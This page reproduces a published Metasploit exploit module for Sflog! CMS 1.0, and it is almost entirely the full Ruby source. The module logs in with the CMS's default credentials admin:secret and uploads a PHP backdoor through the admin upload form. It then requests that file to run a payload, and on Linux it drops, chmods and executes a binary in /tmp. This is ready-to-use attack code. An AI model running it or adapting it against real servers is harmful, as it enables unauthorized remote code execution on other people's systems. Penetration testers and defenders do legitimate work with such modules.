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Sflog! CMS 1.0 Arbitrary File Upload

Sflog! CMS 1.0 Arbitrary File Upload
Posted Sep 7, 2012
Authored by dun, sinn3r | Site metasploit.com

This Metasploit module exploits multiple design flaws in Sflog 1.0. By default, the CMS has a default admin credential of "admin:secret", which can be abused to access administrative features such as blogs management. Through the management interface, we can upload a backdoor that's accessible by any remote user, and then gain arbitrary code execution.

tags | exploit, remote, arbitrary, code execution
advisories | OSVDB-83767
MD5 | 12ae94a4a6178fe449f24fdbf74b4c20

Sflog! CMS 1.0 Arbitrary File Upload

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE

def initialize(info={})
super(update_info(info,
'Name' => "Sflog! CMS 1.0 Arbitrary File Upload Vulnerability",
'Description' => %q{
This module exploits multiple design flaws in Sflog 1.0. By default, the CMS has
a default admin credential of "admin:secret", which can be abused to access
administrative features such as blogs management. Through the management
interface, we can upload a backdoor that's accessible by any remote user, and then
gain arbitrary code execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'dun', #Discovery, PoC
'sinn3r' #Metasploit
],
'References' =>
[
['OSVDB', '83767'],
['EDB', '19626']
],
'Payload' =>
{
'BadChars' => "\x00"
},
'DefaultOptions' =>
{
'ExitFunction' => "none"
},
'Platform' => ['linux', 'php'],
'Targets' =>
[
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
[ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
],
'Privileged' => false,
'DisclosureDate' => "Jul 06 2012",
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The base directory to sflog!', '/sflog/']),
OptString.new('USERNAME', [true, 'The username to login with', 'admin']),
OptString.new('PASSWORD', [true, 'The password to login with', 'secret'])
], self.class)
end


def check
target_uri.path << '/' if target_uri.path[-1,1] != '/'
base = File.dirname("#{target_uri.path}.")

res = send_request_raw({'uri'=>"#{base}/index.php"})

if not res
return Exploit::CheckCode::Unknown
elsif res and res.body =~ /\<input type\=\"hidden\" name\=\"sitesearch\" value\=\"www\.thebonnotgang\.com\/sflog/
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end


#
# Embed our binary in PHP, and then extract/execute it on the host.
#
def get_write_exec_payload(fname, data)
p = Rex::Text.encode_base64(generate_payload_exe)
php = %Q|
<?php
$f = fopen("#{fname}", "wb");
fwrite($f, base64_decode("#{p}"));
fclose($f);
exec("chmod 777 #{fname}");
exec("#{fname}");
?>
|
php = php.gsub(/^\t\t/, '').gsub(/\n/, ' ')
return php
end


def on_new_session(cli)
if cli.type == "meterpreter"
cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
end

@clean_files.each do |f|
print_status("#{@peer} - Removing: #{f}")
begin
if cli.type == 'meterpreter'
cli.fs.file.rm(f)
else
cli.shell_command_token("rm #{f}")
end
rescue ::Exception => e
print_error("#{@peer} - Unable to remove #{f}: #{e.message}")
end
end
end


#
# login unfortunately is needed, because we need to make sure blogID is set, and the upload
# script (uploadContent.inc.php) doesn't actually do that, even though we can access it
# directly.
#
def do_login(base)
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{base}/admin/login.php",
'vars_post' => {
'userID' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
}
})

if res and res.headers['Set-Cookie'] =~ /PHPSESSID/ and res.body !~ /\<i\>Access denied\!\<\/i\>/
return res.headers['Set-Cookie']
else
return ''
end
end


#
# Upload our payload, and then execute it.
#
def upload_exec(cookie, base, php_fname, p)
data = Rex::MIME::Message.new
data.add_part('download', nil, nil, "form-data; name=\"blogID\"")
data.add_part('7', nil, nil, "form-data; name=\"contentType\"")
data.add_part('3000', nil, nil, "form-data; name=\"MAX_FILE_SIZE\"")
data.add_part(p, 'text/plain', nil, "form-data; name=\"fileID\"; filename=\"#{php_fname}\"")

# The app doesn't really like the extra "\r\n", so we need to remove the newline.
post_data = data.to_s
post_data = post_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')

print_status("#{@peer} - Uploading payload (#{p.length.to_s} bytes)...")
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{base}/admin/manage.php",
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data,
'cookie' => cookie,
'headers' => {
'Referer' => "http://#{rhost}#{base}/admin/manage.php",
'Origin' => "http://#{rhost}"
}
})

if not res
print_error("#{@peer} - No response from host")
return
end

target_path = "#{base}/blogs/download/uploads/#{php_fname}"
print_status("#{@peer} - Requesting '#{target_path}'...")
res = send_request_raw({'uri'=>target_path})
if res and res.code == 404
print_error("#{@peer} - Upload unsuccessful: #{res.code.to_s}")
return
end

handler
end


def exploit
@peer = "#{rhost}:#{rport}"

target_uri.path << '/' if target_uri.path[-1,1] != '/'
base = File.dirname("#{target_uri.path}.")

print_status("#{@peer} - Attempt to login as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'")
cookie = do_login(base)

if cookie.empty?
print_error("#{@peer} - Unable to login")
return
end

php_fname = "#{Rex::Text.rand_text_alpha(5)}.php"
@clean_files = [php_fname]

case target['Platform']
when 'php'
p = "<?php #{payload.encoded} ?>"
when 'linux'
bin_name = "#{Rex::Text.rand_text_alpha(5)}.bin"
@clean_files << bin_name
bin = generate_payload_exe
p = get_write_exec_payload("/tmp/#{bin_name}", bin)
end

upload_exec(cookie, base, php_fname, p)
end
end

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